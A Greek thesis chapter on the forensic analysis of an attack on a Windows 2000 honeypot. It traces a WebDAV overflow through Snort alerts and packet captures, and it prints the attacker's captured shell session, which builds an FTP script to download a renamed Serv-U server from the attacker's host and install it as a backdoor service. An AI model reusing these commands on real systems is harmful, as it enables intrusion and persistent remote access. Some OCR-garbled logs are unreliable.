Κεφάλαιο 4



• Μελέτη περίπτωσης κατάληψης ενός Win-

dows honeypot

4. Μελέτη περιπτώσεων κατάληψης ενός windows honeypot

Σε αυτό το κεφάλαιο θα μελετήσουμε πραγματικές επιθέσεις που πραγματοποιήθηκαν προς το **Ελληνικό Honeynet** και ήταν κατά κύριο λόγο επιτυχημένες. Θα δούμε τον τρόπο που ανακαλύπτουμε ότι πραγματοποιήθηκαν επιθέσεις, το **exploit** που χρησιμοποιήθηκε κάθε φορά, τα εργαλεία που χρησιμοποίησαν οι επιτιθέμενοι για την κατάληψη και τον έλεγχο ενός από τα **honeypots**, αλλά και τα εργαλεία που χρησιμοποιήσαμε εμείς για να κάνουμε την ανάλυση. Επίσης, θα δούμε τις κινήσεις των **blackhat** αφού έχουν αποκτήσει, ή νομίζουν ότι έχουν αποκτήσει, τον ολοκληρωτικό έλεγχο του **honeypot**.

4.1 Πρώτη Περίπτωση

Στην πρώτη περίπτωση, θα δούμε πώς ένας επιτιθέμενος κατάφερε να εισχωρήσει στο **windows honeypot** του **honeynet**, και να φορτώσει τα κατάλληλα εργαλεία ώστε να πάρει τον έλεγχο του μηχανήματος και να μπορεί να το διαχειρίζεται απομακρυσμένα

4.1.1 Παρακολούθηση του honeynet - ενδείξεις επίθεσης

Αρχικά Βλέποντας τα logs του snort (snort_fast) πίνακας 4-1, στην γραμμή 1, παρατηρούμε τις IP 69.14.88.59 και 62.216.8.36 να επιχειρούν attack (επίθεση) στην πόρτα 80 του IIS όπως φαίνεται στην γραμμή 1 (WEB-IIS ISAPI.ida attempt). Το μήνυμα αυτό μπορούμε να το βρούμε στο CVE (<u>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0071</u>) με την εξής περιγραφή:

IIS 4.0 allows a remote attacker to obtain the real pathname of the document root by requesting non-existent files with .ida or .idq extensions.

Στην γραμμή 2 μας προειδοποιεί για προσπάθεια να εκτελέσει το cmd.exe.

Το cmd.exe των Windows, είναι ένα εργαλείο, αντίστοιχο του shell του Unix, το οποίο δίνει την δυνατότητα να εκτελούνται DOS εντολές στα Windows, δηλαδή δίνει μια οθόνη εντολών (command line).

Άρα αποκτώντας κάποιος **command line**, θα μπορεί να εκτελεί εντολές στο απομακρυσμένο σύστημα.

Αυτές οι κινήσεις όμως μας είναι γνωστές από το worm codeRedII (βλέπε κεφάλαιο 3), το οποίο χρησιμοποιεί την ευπάθεια του IIS, Buffer Overflow In IIS Indexing Service DLL όπως την ονομάζει το cert.org.

Δεν υπάρχει όμως ιδιαίτερος λόγος ανησυχίας αφού το **worm** μολύνει μηχανήματα με λειτουργικά συστήματα windows NT/2000 . Στην περίπτωση μας, επιδιώκει να πάρει **command line** από τον **dias (192.168.0.1)** αλλά αυτό το μηχάνημα τρέχει **linux 7.3** οπότε το **cmd.exe** δεν είναι δυνατόν να εκτελεστεί.

Snort_fast:

1.05/17-17:54:36.460255 [**] [1:1243:6] WEB-IIS ISAPI .ida attempt [**] [Classification: Web Application Attack] [Priority: 1] {TCP}
2.05/17-17:54:36.503683 [**] [1:1002:5] WEB-IIS cmd.exe access [**] [Classification: Web Application Attack] [Priority: 1] {TCP} 69.1
4.88.59:1993 -> 192.168.0.1:80
3.05/17-18:46:55.704873 [**] [1:1070:5] WEB-MISC webdav search access [**] [Classification: access to a potentially vulnerable web ap
4lacation] [Priority: 2] {TCP} 62.216.8.36:11161 -> 192.168.0.2:80
4.05/17-18:46:56.030890 [**] [1:1070:5] WEB-MISC webdav search access [**] [Classification: access to a potentially vulnerable web ap
4lacation] [Priority: 2] {TCP} 62.216.8.36:13494 -> 192.168.0.2:80
5.05/17-18:47:05.170767 [**] [1:1070:5] WEB-MISC webdav search access [**] [Classification: access to a potentially vulnerable web ap
4lacation] [Priority: 2] {TCP} 62.216.8.36:11163 -> 192.168.0.2:80
6.05/17-18:47:05.506614 [**] [1:1070:5] WEB-MISC webdav search access [**] [Classification: access to a potentially vulnerable web ap
4lacation] [Priority: 2] {TCP} 62.216.8.36:11164 -> 192.168.0.2:80
7.05/17-18:47:14.580685 [**] [1:1070:5] WEB-MISC webdav search access [**] [Classification: access to a potentially vulnerable web ap
4lacation] [Priority: 2] {TCP} 62.216.8.36:11165 -> 192.168.0.2:80
8.05/17-18:47:14.910087 [**] [1:1070:5] WEB-MISC webdav search access [**] [Classification: access to a potentially vulnerable web ap
4lacation] [Priority: 2] {TCP} 62.216.8.36:11166 -> 192.168.0.2:80
9.05/17-18:47:25.427596 [**] [1:1070:5] WEB-MISC webdav search access [**] [Classification: access to a potentially vulnerable web ap
4lacation] [Priority: 2] {TCP} 62.216.8.36:11168 -> 192.168.0.2:80
10.05/17-18:47:25.736557 [**] [1:1070:5] WEB-MISC webdav search access [**] [Classification: access to a potentially vulnerable web ap
4lacation] [Priority: 2] {TCP} 62.216.8.36:11169 -> 192.168.0.2:80
11.05/17-18:50:39.094865 [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority
: 3] {ICMP} 192.168.0.2 -> 192.168.0.1

Πίνακας 4-1

Αντιθέτως όμως η **IP 62.216.8.36** όπως βλέπουμε στις γραμμές 3,4,5,6,7,8,9,10 και 11 απευθύνεται στην port 80 του IIS (WEB-MISC webdav search access) στο Windows 2000 **honeypot** με IP 192.168.0.2.

4.1.2 Προσδιορισμός της επίθεσης και της εκμεταλλευόμενης αδυναμίας

Χρησιμοποιώντας το **ethereal**, για να διαβάσουμε το **binary** και σχετίζοντάς το με τα alerts από το **IDS** (snort) που είδαμε νωρίτερα, παρατηρούμε ότι ο επιτιθέμενος (62.216.8.36) κάνει μια αίτηση *Search* προς WebDAV **IIS** (Πίνακας 4-1, γραμμή 4) πιθανώς για να αναγνωρίσει αν το μηχάνημα θύμα υποστηρίζει WebDAV εντολές.

🙆 snort - 1030@1755.log - Eth	ereal	il in the	24		
File Edit Capture Disp	saurce	Destination	Protocol	Infe	-1
1 10.55 600764	63 316 B 36	103 168 0 3	Triotocos	11161 + 00 [evu] con 2511047022 Ack-0 vdn 22767 / on 0	-1
1 18:40:55.008/04	102.210.8.30	192.100.0.2 63 316 8 36	TOP	11101 > 80 [STN] Seq=3311947832 ACK=0 WIN=32707 Len=0	
2 10:46:55 703400	62 216 8 26	102.210.8.30	TCP	11161 - 20 [ack] con-2511047222 ark-605422074 win-227	16.
1 10-46-55 704972	62 216 9 26	103 168 0 3	HTTP	SEVELN / NALE V J	°-1
5 18-46-55 800222	102 168 0 2	62 216 8 36	HTTP	HTTP/1 1 411 Length Required	- 1
6 18-46-55 810010	192.168.0.2	62 216 8 36	HTTP	Continuation	- 1
7 18:46:55 001034	62 216 8 36	102 168 0 2	TCP	11161 > 80 [ack] Sen=3511047874 ack=605488285 win=325	181
8 18:46:55 903800	62 216 8 36	192 168 0 2	TCP	13404 > 80 [SVN] Sen=3512067437 Ack=0 Win=32767 Len=0	1
9 18:46:55,904063	192 168 0 2	62,216,8,36	TCP	80 > 13494 [SYN, ACK] Seq=605602848 Ack=3512067438 Wi	in-
10 18:46:56,020969	62,216,8,36	192,168,0.2	TCP	13494 > 80 [ACK] Seg=3512067438 Ack=605602849 Win=327	6
11 18:46:56.030890	62.216.8.36	192,168.0.2	HTTP	SEARCH /\020\020\020\020\020\020\020\020\020\02	0
12 18:46:56.051540	62,216,8,36	143.233.75.2	HTTP	Continuation	
13 18:46:56.052868	192.168.0.2	62.216.8.36	TCP	80 > 13494 [ACK] Seg=605602849 Ack=3512070158 win=176	18
14 18:46:56.175301	62.216.8.36	192.168.0.2	HTTP	Continuation	
15 18:46:56.197527	62.216.8.36	192.168.0.2	HTTP	Continuation	- 1
16 18:46:56.198840	62.216.8.36	192.168.0.2	HTTP	Continuation	- 1
17 18:46:56.198840	192.168.0.2	62.216.8.36	TCP	80 > 13494 [ACK] Seq=605602849 Ack=3512072878 win=176	180
18 18:46:56.221009	62.216.8.36	192.168.0.2	HTTP	Continuation	
19 18:46:56.320060	62.216.8.36	192.168.0.2	HTTP	Continuation	- 11
20 18:46:56.321393	62.216.8.36	192.168.0.2	HTTP	Continuation	
21 18:46:56.321393	192.168.0.2	62.216.8.36	TCP	80 > 13494 [ACK] Seq=605602849 Ack=3512075598 win=176	18
22 18:46:56.344774	62.216.8.36	192.168.0.2	HTTP	Continuation	
		-100 100 0 0.	1.100.00		7
ElEthernet II, Src: 1	00:e0:b0:2b:e3:	d2, Dst: 00:04:	ez:33:841	16	-1
⊞ Internet Protocol,	Src Addr: 62.2	16.8.36 (62.216	.8.36), D	st Addr: 192.168.0.2 (192.168.0.2)	
Transmission Control	ol Protocol, Sr	'c Port: 13494 (13494), D	st Port: 80 (80), Seq: 3512067438, Ack: 605602849, Len	£
⊞ Hypertext Transfer	Protocol				1
J					
0000 00 04 e2 33 84	16 00 e0 b0 2	2b e3 d2 08 00 4	5 80	.3+E.	-1
0010 05 78 1e a3 40	00 31 06 03 7	76 3e d8 08 24 8	fe9 .x	Q.1v>\$	1
0020 4b 02 34 b6 00	50 d1 55 e5 6	se 24 18 c4 21 5	0 10 K.	4P.U .0\$!P.	- 1
0040 10 10 10 10 10	10 10 10 10 10 1	02 45 48 20 2T 1	0 10	DE ARCH /	- 1
0040 TO TO TO TO	40 TO TO TO 1	A 14 14 14 14 14 1	V TA		1
Filter			/ R	/set Apply File: snort-1030@1765.log	

Εικόνα 4-1

Στην συνέχεια, ακολουθεί και άλλη αίτηση *Search* με μια σειρά από χαρακτήρες \020 (εικόνα 4-1, γραμμή 11). Ακολουθώντας το TCP Stream από επιλογή που μας δίνει το ethereal, βλέπουμε ότι στέλνει μεγάλο πλήθος από bytes με σκοπό το **buffer overflow** όπως φαίνεται στην Εικόνα 4-2.

Contents of TCP stream (incomplete)				
SEARCH /				15
				1
				× 🖵
				×
				<u> 1</u>
				21
				2 I I
				21
				21
				2
				1
				1
				1
				*
				*
				<u>*</u>
				<u>.</u>
				21
				21
		**********		21
			• • • • • • • • • • • • • • • • • • • •	2
				2
				1
				1
				1
				1
				1
				21
				21
				21
				21
				2
				1
				1 1
			from the second s	×17
Entire conversation (65757 bytes)	⊐ 🇢 ASCII	Print Save As	Filter out this stream C	lose

Εικόνα 4-2

Αναζητώντας πληροφορίες για το alert που μας δίνει το **snort** (WEB-MISC webdav search access), και συμπληρώνοντάς με τα δεδομένα από το ethereal προσπαθούμε να εντοπίσουμε τον τύπο της επίθεσης.

Πληροφορίες για αυτό το alert μπορούμε να βρούμε : <u>http://www.whitehats.com/info/ids474</u>, γενικά μας περιγράφει τα εξής:

This event indicates that a remote user has attempted to use the SEARCH directive to retreive a list of directories on the web server. This may allow an attacker to gain knowledge about the web server that could be useful in an attack

Αλλά όπως είδαμε και στο κεφάλαιο 3 (WebDAV Attack σελ. 60) υπάρχει δυνατότητα για εκμετάλλευση ευπάθειας της βιβλιοθήκης ntdll.dll των windows σε συνδυασμό με ελλιπή ελέγχους του WebDAV, με σκοπό εκτέλεση εντολών απομακρυσμένα, με δικαιώματα του τοπικού μηχανήματος. Συμπεραίνουμε ότι δεν πρόκειται για μια αναγνωριστική κίνηση

4.1.3 Η εξέλιξη της επίθεσης

Συνεχίζοντας θα πρέπει να εντοπίσουμε και να μελετήσουμε τις συνδέσεις από τις οποίες θα ανακαλύψουμε κινήσεις που έκανε ο επιτιθέμενος, αλλά και εργαλεία που χρησιμοποίησε.

4.1.3.1 Εντοπισμός σχετιζόμενης δικτυακής κίνησης

Μια τεχνική για να αποκαλύψουμε τις συνδέσεις που πραγματοποιήθηκαν μέσα από ένα binary αρχείο είναι να εντοπίσουμε τα SYN-ACK πακέτα, δηλαδή τις απαντήσεις που δόθηκαν σε αιτήσεις σύνδεσης, για ολοκλήρωση των συνδέσεων αυτών.

Το εργαλείο που χρησιμοποιήθηκε για να απομονώσουμε τα πακέτα από το binary αρχείο είναι το **tcpdump** και εκτελέστηκε με παραμέτρους :

/usr/sbin/tcpdump -r snort.log.1053119102 -vv -n net 62.216.8.36 and 'tcp[13] & 2 == 2'

Παράμετροι:. - νν Εμφάνιση επιπρόσθετων πληροφοριών

-r Διάβασε το αρχείο που ακολουθεί

- n μην μεταφραστεί η IP σε όνομα DNS (do not resolve)

net η IP που ακολουθεί περιγράφει ένα δίκτυο και όχι μόνο έναν host.

tcp[13] & 2 = 2 εδώ κοιτάμε αν στην 13η οκτάδα από bits, δηλαδή το πεδίο flags του header (αποτελείται από 20 οκτάδες) εφαρμόσουμε λογικό AND με 2, επιστρέψει 2. Τότε έχουμε ένα πακέτο SYN-ACK.

Παρακολουθώντας λοιπόν τα SYN-ACK πακέτα για την συγκεκριμένη IP, παρατηρούμε μία κίνηση που θα ενισχύσει την υποψία μας, ότι πρόκειται για προσπάθεια επίτευξης Buffer Overflow με σκοπό την απόκτηση command line, διότι βλέπουμε ότι μετά από τέσσερις προσπάθειες επίθεσης στον IIS, Port 80, το honeypot κάνει αίτηση σύνδεσης (SYN) στον επιτιθέμενο.

17:46:55.610035 192.168.0.2.http > 62.216.8.36.11161: S [tcp sum ok] 605488073:605488073(0) ack 3511947833
win 17680 <mss 0,nop,nop,sackok="" 1460,nop,wscale=""> (DF) (ttl 128, id 15298, len 52)</mss>
17:46:55.904063 192.168.0.2.http > 62.216.8.36.13494: S [tcp sum ok] 605602848:605602848(0) ack 3512067438
win 17680 <mss 0,nop,nop,sackok="" 1460,nop,wscale=""> (DF) (ttl 128, id 15301, len 52)</mss>
17:47:05.073871 192.168.0.2.http > 62.216.8.36.11163: S [tcp sum ok] 607948195:607948195(0) ack 3514137867
win 17680 <mss 0,nop,nop,sackok="" 1460,nop,wscale=""> (DF) (ttl 128, id 15393, len 52)</mss>
17:47:05.377828 192.168.0.2.http > 62.216.8.36.11164: S [tcp sum ok] 608061809:608061809(0) ack 3514396884
win 17680 <mss 0,nop,nop,sackok="" 1460,nop,wscale=""> (DF) (ttl 128, id 15396, len 52)</mss>
17:47:14.480634 192.168.0.2.http > 62.216.8.36.11165: S [tcp sum ok] 610400319:610400319(0) ack 3516384816
win 17680 <mss 0,nop,nop,sackok="" 1460,nop,wscale=""> (DF) (ttl 128, id 15490, len 52)</mss>
17:47:14.769696 192.168.0.2.http > 62.216.8.36.11166: S [tcp sum ok] 610523246:610523246(0) ack 3516767667
win 17680 <mss 0,nop,nop,sackok="" 1460,nop,wscale=""> (DF) (ttl 128, id 15493, len 52)</mss>
17:47:25.304430 192.168.0.2.http > 62.216.8.36.11168: S [tcp sum ok] 613186282:613186282(0) ack 3519254999
win 17680 <mss 0,nop,nop,sackok="" 1460,nop,wscale=""> (DF) (ttl 128, id 15585, len 52)</mss>
17:47:25.612681 192.168.0.2.http > 62.216.8.36.11169: S [tcp sum ok] 613302118:613302118(0) ack 3519367782
win 17680 <mss 0,nop,nop,sackok="" 1460,nop,wscale=""> (DF) (ttl 128, id 15588, len 52)</mss>
17:47:27.301811 62.216.8.36.6669 > 192.168.0.2.1077: S [tcp sum ok] 3519812299:3519812299(0) ack 613738358
-win 32767 <mss 1360.nop.nop.sackok=""> (DF) [tos 0x80] (ttl 49, id 8097, len 48)</mss>

Πίνακας 4-2

Στον *πίνακας 4-2* βλέπουμε τα τέσσερα SYN-ACK πακέτα που στάλθηκαν σαν απάντηση από το honeypot μαρκαρισμένα με ώσπου ένα SYN-ACK γίνεται από τον επιτιθέμενο (μαρκαρισμένο με), που σημαίνει ότι απαντάει σε κάποια αίτηση SYN που κάνει το Honeypot προς τον επιτιθέμενο.

Το τελευταίο **SYN-ACK** που φαίνεται στον πίνακα 4-2 γίνεται από την IP 62.216.8.36, δηλαδή η αίτηση (**SYN**) έχει γίνει από το **honeypot** στην πόρτα 6669. Αυτό σημαίνει ότι κατά πάσα πιθανότητα η επίθεση πέτυχε και ο **BlackHat** έχει **command line** πρόσβαση στο **honeypot**. Από αυτές τις οκτώ πρώτες απαντήσεις (**SYN-ACK**) του **honeypot**, βλέποντας τα δεδομένα ανακαλύπτουμε ότι σε τέσσερις συνδέσεις από αυτές στέλνονται HTTP πακέτα στην πόρτα 80 του **honeypot** από τις πόρτες 13494, 11164, 11166 και 11169 του 62.216.8.36 με εντολές SEARCH /20/20/20...., SEARCH /21/21/21...., SEARCH /22/22/22...., SEARCH /23/23/23.... όπου στο τελευταίο Search πιθανότατα πετυχαίνει και το **overflow**, διότι όπως φαίνεται από τη δικτυακή κίνηση στο **ethereal**, μετά από την επίθεση στην πόρτα 80 του **honeypot**, έχουμε αμέσως SYN πακέτο από το **honeypot** προς την πόρτα 6669. Μπορούμε να δούμε πώς ξεκινάει το πρώτο SEARCH στην *Εικόνα 4-1* από γραμμή 11 και έπειτα.

test.l	og – Etherea	1						×
<u>F</u> ile	<u>E</u> dit <u>C</u> aptu	ire <u>D</u> isplay	y <u>T</u> ools <u>H</u>	elp				
		× 🕸				× 1	2	
No. 🗸	Time	Source		Destinat	ion	Protocol	Info	•
1632	67176 30395	0 02,210,0, 1 62 216 8	36	143,233	75.2	HTTP	Continuation	
1633	67176,30529	4 62,216,8	36	143,233	75.2	HTTP	Continuation	
1634	67176 30529	4 143 233 7	52	62 216 8	3 36	TCP	http > 11169 [ACK] Seg=613302119 Ack=35194303.	
1635	67176.35735	0 62.216.8.	36	143.233	.75.2	HTTP	Continuation	
1636	67176.36084	5 62.216.8.	36	143.233	.75.2	HTTP	Continuation	
1637	67176.36143	1 62.216.8.	36	143.233	.75.2	HTTP	Continuation	
1638	67176.36252	6 62.216.8.	36	143.233	.75.2	HTTP	Continuation	
1639	67176.36252	6 143.233.7	5.2	62.216.8	3.36	TCP	http > 11169 [ACK] Seg=613302119 Ack=35194330	
1640	67176,42116	3 143.233.7	5.2	62.216.8	3,36	TCP	1077 > 6669 [SYN] Seg=613738357 Ack=0 Win=163	
1641	67176,47568	8 143,233,7	5.2	62,216,8	8,36	TCP	http > 11169 [ACK] Seg=613302119 Ack=35194335	
1642	67176,52189	2 62,216,8,	36	143,233.	.75.2	TCP	6669 > 1077 [SYN, ACK] Seq=3519812299 Ack=613	
1643	67176,52213	6 143,233,7	5.2	62,216,8	8,36	TCP	1077 > 6669 [ACK] Seq=613738358 Ack=351981230	
1644	67176,53942	2 143,233,7	5.2	62,216,8	8.36	TCP	1077 > 6669 [PSH, ACK] Seq=613738358 Ack=3519	
1645	67176,96403	3 62.216.8.	36	143,233	.75.2	TCP	6669 > 1077 [ACK] Seq=3519812300 Ack=61373840	
1646	67176,96437	3 143,233,7	5.2	62,216,0	3.36	TCP	1077 > 6669 [PSH, ACK] Seq=613738400 Ack=3519	-
								-
	4010 100 1					4 A		
H Fra	me 1640 (62)	oytes on wir	re, 62 bytes (captured)			
Eth	ernet II, Sro	: 00:04:e2:	:33:84:16, US1	c: UU:eU	:DV:2D:e3:d2	011.00	040 0 70 /00 040 0 70	
	ernet Protoci	ol, Src Haar	*: 145.255.75.	. 4077 /	255.(5.2), UST	: Haar: 62.	216,8,36 (62,216,8,36) 200) Cont 017770767 (acts) Louis (
l 🖽 Ira	nsmission Lor	ntrol Proto	col, src Fort	: 1077 (.	1077), Ust Por	,C1 0003 (0	663), Seq: 613/3833/, HCK: V, Len: V	-
•								
-						**		10000
0000	00 e0 b0 2b	e3 d2 00 04	e2 33 84 16	08 00 4	!5 00 .à°+ãò	•• â3••••E		-
0010	00 30 30 fd	40 00 80 06	3D e3 8f e9	40 02 3	e a8 ,∪<ý0, ∧ ∧2 ,¢⊑	a.eK.>) ⊄ ou –	0	
0020	40 00 f6 eb		05 64 01 01	04 02	0 02	₽+ ÇÜ++++P.		
1.00	14 44 10 60	VV VV VL V4	VO DT VI VI	YT VE	6+06++	•• • ••••		-
Filter					- 0	acot Anniu	File: test log	
Timet.					<u>n</u>	eser Apply]] The learning	

Εικόνα 4-3

4.1.3.2 Οι κινήσεις του BlackHat

Με την χρήση της επιλογής follow TCP stream του ethereal, μπορούμε να πάρουμε το ASCII φορτίο της σύνδεσης του επιτιθέμενου στην πόρτα 6669.

Βλέποντας τα αποτελέσματα του Follow TCP stream (πίνακας 4-3α), μπορούμε ξεκάθαρα να εντοπίσουμε τις κινήσεις που υλοποίησε ο Black Hat, για να εκμεταλλευόμενος την πρόσβαση που επιβεβαιώνουμε ότι τελικά απέκτησε.

Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp.

1. C:\WINNT\system32>

2. C:\WINNT\system32>echo open 62.216.8.36 >> c:\apis.txt

echo open 62.216.8.36 >> c:\apis.txt

3. C:\WINNT\system32>echo user hack >> c:\apis.txt

echo user hack >> c:\apis.txt

4. C:\WINNT\system32>echo hack >> c:\apis.txt

echo hack >> c:\apis.txt

5. C:\WINNT\system32>echo ascii >> c:\apis.txt echo ascii >> c:\apis.txt

6. C:\WINNT\system32>echo get ServUDaemon.ini c:\WINNT\config\servudaemon.ini >> c:\apis.txt echo get ServUDaemon.ini c:\WINNT\config\servudaemon.ini >> c:\apis.txt 7. C:\WINNT\system32>echo bin >> c:\apis.txt echo bin >> c:\apis.txt

8. C:\WINNT\system32>echo get winsecure.exe c:\WINNT\config\winsecure.exe >> c:\apis.txt echo get winsecure.exe c:\WINNT\config\winsecure.exe >> c:\apis.txt

9. C:\WINNT\system32>echo quit >> c:\apis.txt echo quit >> c:\apis.txt

10. C:\WINNT\system32>ftp -i -v -n -s:c:\apis.txt
ftp -i -v -n -s:c:\apis.txt
Connected to 62.216.8.36.

open 62.216.8.36 220 RealD's server user hack 331 Password required for hack.

230 User hack logged in. Invalid command.

ascii

200 Type set to A.

get ServUDaemon.ini c:\WINNT\config\servudaemon.ini

200 Port command successful.

150 Opening data connection for ServUDaemon.ini (355 bytes).

226 Transfer ok

ftp: 355 bytes received in 0,05Seconds 7,10Kbytes/sec.

bin

200 Type set to I.

get winsecure.exe c:\WINNT\config\winsecure.exe

200 Port command successful.

150 Opening data connection for winsecure.exe (496836 bytes).

226 Transfer ok

ftp: 496836 bytes received in 9,98Seconds 49,76Kbytes/sec.

quit

221 Bye bye ...

11. C:\WINNT\system32>cd
cd
12. C:\WINNT>cd config
cd config
13. C:\WINNT\Config>winsecure /i
winsecure /i
14 CAMURDITY Carefornia to the standard and and a standard
14. C:\winn1\Config>net start serv-u
het start serv-u
The service name is invalid.
More help is available by typing NET HELPMSG 2185.
15. C:\WINNT\Config>winsecure /i
winsecure /i
16. C:\WINNT\Config>net start serv-u
net start serv-u
The Serv-U FTP Server service was started successfully.
17 C·\WINNT\Config>dir
dir
Volume in drive C has no label.
Volume Serial Number is 789F-0403
Directory of C:\WINNT\Config
17/05/2003 06:49p <dir> .</dir>
17/05/2003 06:49p <dir></dir>
07/12/1999 05:00a 654 general.idf
07/12/1999 05:00a 658 hindered.idf
07/12/1999 05:00a 302 msadlib.idf

17/05/2003 06:49p	370 servudaemon.ini
17/05/2003 06:49p	529 ServUStartUpLog.txt
17/05/2003 06:49p	496.836 winsecure.exe
6 File(s)	499.349 bytes
2 Dir(s) 4	.560.388.096 bytes free

Πίνακας 4-3α

Με λίγα λόγια, στον πίνακα 4-3α βήματα 2 έως και 9, Βλέπουμε ότι δημιουργεί με την εντολή echo ένα text αρχείο με όνομα c:\apis.txt, το οποίο περιέχει τα εξής :

open 62.216.8.36 user hack hack ascii servudaemon.ini bin get winsecure.exe quit

Στην συνέχεια εκτελώντας την εντολή

C:\WINNT\system32>ftp -i -v -n -s:c:\apis.txt

(Bήμα 10), εκτελεί **ftp** με τις εντολές που αναγράφονται στο αρχείο. Δηλαδή συνδέεται με τον εαυτό του (62.216.8.36) με user name 'hack' και Password 'hack', κατεβάζει το αρχείο *serverudaemon.ini* σε **ascii Mode** και το *winsecure.exe* σε **binary mode**, και κλείνει την **ftp** σύνδεση με quit .

To αρχείο *winsecure.exe* είναι το *serverUDaemon.exe* μετονομασμένο το οποίο είναι ένας **ftp server** (<u>http://www.serv-u.com/</u>). To *serverUDaemon.ini* είναι το αρχείο που περιέχει τις ρυθμίσεις για αυτόν τον **ftp server**.

4.1.3.3 Πληροφορίες για τα εργαλεία του επιτιθέμενου

Για να εντοπίσουμε το SESSION που περιέχει το serverUDaemon.ini ακολουθήσαμε την εξής διαδικασία:

Ελέγχουμε το κατάλογο που αποθηκεύονται τα SESSIONS του honeypot (192.168.0.2)
 από το Snort, δηλαδή στον κατάλογο 192.168.0.2 πίνακας 4-4

drwx	2 galex	galex	4096 May 17 23:01 192.168.0.1	
drwx	2 galex	galex	4096 May 17 23:01 192.168.0.100	
drwx	2 galex	galex	8192 May 18 00:00 192.168.0.2	
drwx	2 galex	galex	4096 May 18 00:03 193.154.164.228	
drwx	2 galex	galex	4096 May 17 21:46 212.202.184.115	
drwx	2 galex	galex	4096 May 17 19:01 212.64.126.155	
drwx	2 galex	galex	8192 May 17 20:50 217.81.125.206	
drwx	2 galex	galex	4096 May 17 13:02 218.78.210.23	
drwx	2 galex	galex	4096 May 17 15:53 218.78.210.24	
drwx	2 galex	galex	4096 May 17 08:39 61.241.152.126	
drwx	2 galex	galex	4096 May 17 18:51 62.216.8.36	
drwx	2 galex	galex	4096 Oct 31 10:53 69.14.88.59	
-rw	1 galex	galex	8035 May 17 23:17 snort_fast	
-rw	1 galex	galex	14440 May 17 23:17 snort_full	
-rw	1 galex	galex	680437424 May 18 00:05 snort.log.1053119102	
-rw-rr	1 galex	galex	55 May 18 00:05 snort.log.1053119102.md5	

Πίνακας 4-4

 Παρατηρούμε ότι υπάρχουν sessions με πόρτα προορισμού 21 (πόρτα ελέγχου του ftp) πίνακας 4-5, αφού πραγματοποίησε ftp σύνδεση θα χρησιμοποίησε την πόρτα 21

-rw	1 galex	galex	160 May 17 20:01 SESSION:0-0
-rw	1 galex	galex	87450 May 17 20:08 SESSION:1026-514
-rw	1 galex	galex	623 May 17 18:49 SESSION:1080-21
-rw	1 galex	galex	152 May 17 18:50 SESSION:1083-53
-rw	1 galex	galex	910 May 17 19:37 SESSION:1085-21
-rw	1 galex	galex	276 May 17 20:13 SESSION:1176-53
-rw	1 galex	galex	14788 May 18 00:04 SESSION:137-137
-rw	1 galex	galex	21955 May 18 00:01 SESSION:138-138
-rw	1 galex	galex	0 May 17 23:01 SESSION:17300-3039
-rw	1 galex	galex	0 May 17 20:22 SESSION:8975-2022

Πίνακας 4-5

Ελέγχοντας το SESSION:1080-21 , Πίνακας 4-6, βλέπουμε τι έγινε αφού εκτελέστηκε η εντολή C:\WINNT\system32>ftp -i -v -n -s:c:\apis.txt Από τις γραμμές :

PORT 192,168,0,2,4,57 RETR ServUDaemon.ini

Μπορούμε να εντοπίσουμε το **SESSION** αυτό, που περιέχει το περιεχόμενο του ServerUDaemon.ini. Με την εντολή *PORT* ορίζουμε την **IP** και την πόρτα που θα συνδεθεί ο Server. Το πλήθος και την σημασία όλων των **FTP** εντολών, μπορούμε να βρούμε στο <u>http://www.nsftools.com/tips/RawFTP.htm</u>. Με την σύνταξη *PORT a1,a2,a3,a4,p1,p2* η **IP** address του server ορίζεται *a1.a2.a3.a4*, και η πόρτα *p1**256+*p2*. Στην περίπτωση μας **IP** 192.168.0.2 port 4*256 + 57 = 1081

220 RealD's server USER hack 331 Password required for hack. PASS hack 230 User hack logged in. TYPE A 220 RealD's server USER hack 331 Password required for hack. PASS hack 230 User hack logged in. TYPE A 200 Type set to A. PORT 192,168,0,2,4,57 200 Port command successful. **RETR ServUDaemon.ini** 150 Opening data connection for ServUDaemon.ini (355 bytes). 226 Transfer ok TYPE I 200 Type set to I.

PORT 192,168,0,2,4,58
200 Port command successful.
RETR winsecure.exe
150 Opening data connection for winsecure.exe (496836 bytes).
226 Transfer ok
QUIT



 Ξτσι ελέγχοντας τον κατάλογο 62.216.8.36 βρίσκουμε το SESSION:12499-1081 που έχει καταγράψει τα περιεχόμενα του ServerUDaemon.ini, Πίνακας 4-7.

Αυτό που μπορούμε να παρατηρήσουμε στο εξαγόμενο αρχείο είναι ότι το .ini αρχείο είναι ρυθμισμένο για να ανοίγει ο serverUDaemon.exe την πόρτα 1337 για **ftp** Control, και ότι υπάρχουν 2 χρήστες : *TmZ* και *Domo*.

[GLOBAL] Version=3.0.0.17 RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doX JsgW64YIyPdo+wAGnUBuycB [DOMAINS] Domain1=0.0.0.0||1337|st|1|0 [Domain1] User1=TmZ|1|0 User2=Domo|1|0 [USER=TmZ|1] Password=pi15ACAD8B24F5C99767590159C5D3C42D HomeDir=c:\

Πίνακας 4-7

Ο BlackHat εγκαθιστά τον serverUDaemon σαν service, εκτελώντας την εντολή

C:\WINNT\Config>winsecure /i (Πίνακας 4-3α βήμα 15)

Και θέτει σε λειτουργία το services με την εντολή:

C: WINNT Config>net start serv-u (Πίνακας 4-3α βήμα 16)

18. C:\WINNT\Confi	ıg>d:
d:	
The device is not read	dy.
19. C:\WINNT\Confi	ig>dir
dir	
Volume in drive C h	as no label.
Volume Serial Numb	ber is 789F-0403
Directory of C:\WIN	NT\Config
17/05/2003 06:49p	<dir> .</dir>
17/05/2003 06:49p	<dir></dir>
07/12/1999 05:00a	654 general.idf
07/12/1999 05:00a	658 hindered.idf
07/12/1999 05:00a	302 msadlib.idf
17/05/2003 06:49p	370 servudaemon.ini
17/05/2003 06:49p	529 ServUStartUpLog.txt
17/05/2003 06:49p	496.836 winsecure.exe
6 File(s)	499.349 bytes
2 Dir(s) 4.	.560.388.096 bytes free

Πίνακας 4-3β

Μετά από την εκτέλεση των παραπάνω εντολών, το **honeypot** τρέχει ftp server που ακούει στην πόρτα 1337.

20. C:\WINNT\Config>d:
d:
The device is not ready.
21. C:\WINNT\Config>e:
e:
The system cannot find the drive specified.
22. C:\WINNT\Config>f:
f:
